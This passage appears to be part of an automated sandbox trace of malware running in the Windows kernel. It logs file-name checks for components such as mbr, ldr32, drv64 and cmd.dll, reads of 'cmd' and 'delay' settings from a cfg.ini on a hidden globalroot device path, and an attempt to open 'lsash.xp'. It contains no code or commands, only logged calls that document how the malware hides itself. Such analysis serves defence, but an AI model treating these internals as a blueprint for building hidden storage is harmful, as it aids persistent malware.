_strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.501] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.501] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.501] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.501] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.501] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.501] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.501] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.501] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.501] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.501] KeLeaveCriticalRegion () [0126.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.501] ReleaseMutex (hMutex=0x100) returned 1 [0126.501] Sleep (dwMilliseconds=0x2bf20) [0126.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e9885b0, dwHighDateTime=0x1d24fa4)) [0126.507] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.507] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.507] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.507] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.508] KeEnterCriticalRegion () [0126.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.508] IdePortDispatch () returned 0x103 [0126.508] KeWaitForMutexObject () returned 0x0 [0126.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.508] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.508] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.508] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.508] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.508] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa360 [0126.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.508] KeLeaveCriticalRegion () [0126.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.508] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.508] KeEnterCriticalRegion () [0126.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.508] KeLeaveCriticalRegion () [0126.508] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.508] KeEnterCriticalRegion () [0126.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.508] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.508] IdePortDispatch () returned 0x103 [0126.508] KeWaitForMutexObject () returned 0x0 [0126.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.509] KeLeaveCriticalRegion () [0126.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.509] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.509] KeEnterCriticalRegion () [0126.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0126.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.509] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.509] IdePortDispatch () returned 0x103 [0126.510] KeWaitForMutexObject () returned 0x0 [0126.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.510] IdePortDispatch () returned 0x103 [0126.510] KeWaitForMutexObject () returned 0x0 [0126.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.510] KeLeaveCriticalRegion () [0126.510] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.511] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.511] KeEnterCriticalRegion () [0126.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] KeLeaveCriticalRegion () [0126.511] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.511] KeEnterCriticalRegion () [0126.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.511] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] KeLeaveCriticalRegion () [0126.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.511] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.511] KeEnterCriticalRegion () [0126.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] ExFreePoolWithTag (P=0xfffffa8003bfa360, Tag=0x0) [0126.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] KeLeaveCriticalRegion () [0126.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.511] ReleaseMutex (hMutex=0xf0) returned 1 [0126.511] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.511] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.511] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.511] KeEnterCriticalRegion () [0126.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.511] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.511] IdePortDispatch () returned 0x103 [0126.511] KeWaitForMutexObject () returned 0x0 [0126.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.512] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.512] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.512] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.512] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.512] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037edfb0 [0126.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] KeLeaveCriticalRegion () [0126.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.512] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.512] KeEnterCriticalRegion () [0126.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] KeLeaveCriticalRegion () [0126.512] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.512] KeEnterCriticalRegion () [0126.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.512] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.512] IdePortDispatch () returned 0x103 [0126.512] KeWaitForMutexObject () returned 0x0 [0126.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] KeLeaveCriticalRegion () [0126.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.512] KeEnterCriticalRegion () [0126.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0126.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.513] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.513] IdePortDispatch () returned 0x103 [0126.513] KeWaitForMutexObject () returned 0x0 [0126.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.513] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.513] IdePortDispatch () returned 0x103 [0126.513] KeWaitForMutexObject () returned 0x0 [0126.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.513] KeLeaveCriticalRegion () [0126.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.514] KeEnterCriticalRegion () [0126.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] KeLeaveCriticalRegion () [0126.514] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.514] KeEnterCriticalRegion () [0126.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.514] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eebf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] KeLeaveCriticalRegion () [0126.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.514] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.514] KeEnterCriticalRegion () [0126.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] ExFreePoolWithTag (P=0xfffffa80037edfb0, Tag=0x0) [0126.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] KeLeaveCriticalRegion () [0126.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.514] ReleaseMutex (hMutex=0xf0) returned 1 [0126.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.514] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.514] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.514] KeEnterCriticalRegion () [0126.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.514] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.514] IdePortDispatch () returned 0x103 [0126.514] KeWaitForMutexObject () returned 0x0 [0126.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1480 [0126.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.515] KeLeaveCriticalRegion () [0126.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.515] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.515] KeEnterCriticalRegion () [0126.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.515] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.515] KeLeaveCriticalRegion () [0126.515] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.515] KeEnterCriticalRegion () [0126.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.515] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.515] IdePortDispatch () returned 0x103 [0126.515] KeWaitForMutexObject () returned 0x0 [0126.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.515] KeLeaveCriticalRegion () [0126.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.516] KeEnterCriticalRegion () [0126.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0126.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.516] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.516] IdePortDispatch () returned 0x103 [0126.516] KeWaitForMutexObject () returned 0x0 [0126.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.516] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.516] IdePortDispatch () returned 0x103 [0126.516] KeWaitForMutexObject () returned 0x0 [0126.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.516] KeLeaveCriticalRegion () [0126.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.517] KeEnterCriticalRegion () [0126.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] KeLeaveCriticalRegion () [0126.517] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.517] KeEnterCriticalRegion () [0126.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.517] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] KeLeaveCriticalRegion () [0126.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.517] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.517] KeEnterCriticalRegion () [0126.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] ExFreePoolWithTag (P=0xfffffa80037e1480, Tag=0x0) [0126.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] KeLeaveCriticalRegion () [0126.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.517] ReleaseMutex (hMutex=0xf0) returned 1 [0126.517] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.517] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.517] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.517] KeEnterCriticalRegion () [0126.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 